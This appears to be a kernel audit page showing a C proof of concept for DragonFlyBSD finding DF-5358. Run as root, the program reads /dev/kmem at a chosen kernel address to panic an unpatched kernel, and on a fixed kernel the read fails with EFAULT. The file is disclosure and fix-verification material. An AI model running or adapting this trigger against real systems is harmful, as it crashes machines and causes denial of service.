⬢ DragonFlyBSD Kernel Audit
DF-5358 / pmx_user.c
← back to finding ↓ download raw
/*
 * pmx_user.c - DF-5358 userland trigger (DragonFly pc64, root)
 *
 * pread() on /dev/kmem at a kernel VA whose upper paging level is absent.
 * The read goes through:
 *   mmrw()                    sys/kern/kern_memio.c:257  (minor 1)
 *     kvm_access_check()      sys/platform/pc64/x86_64/vm_machdep.c:1276
 *       pmap_kextract()       sys/platform/pc64/x86_64/pmap.c:1865
 *         *vtopt(va)          pmap.c:800 (recursive-map PDE-slot address)
 * -> kernel-mode data page fault with pcb_onfault == NULL -> panic.
 *
 * On a kernel with the DF-5358 fix, this instead fails cleanly with EFAULT
 * (pmap_kextract returns 0 -> kvm_access_check rejects the range).
 *
 * usage: pmx_user <kva-hex> [len]
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <inttypes.h>

int
main(int argc, char **argv)
{
	unsigned long long va;
	size_t len = 8;
	char buf[32];
	ssize_t n;
	int fd;

	if (argc < 2) {
		fprintf(stderr, "usage: %s <kva-hex> [len]\n", argv[0]);
		return (2);
	}
	va = strtoull(argv[1], NULL, 0);
	if (argc > 2)
		len = strtoull(argv[2], NULL, 0);

	fd = open("/dev/kmem", O_RDONLY);
	if (fd < 0) {
		perror("pmx_user: open /dev/kmem");
		return (1);
	}
	printf("pmx_user: pread(/dev/kmem, %zu bytes) at kva %016jx ...\n",
	    len, (uintmax_t)va);
	fflush(stdout);

	errno = 0;
	n = pread(fd, buf, len < sizeof(buf) ? len : sizeof(buf),
		  (off_t)va);
	printf("pmx_user: pread returned %zd errno=%d (%s)\n",
	    n, errno, strerror(errno));
	printf("pmx_user: kernel survived (no panic)\n");
	return (0);
}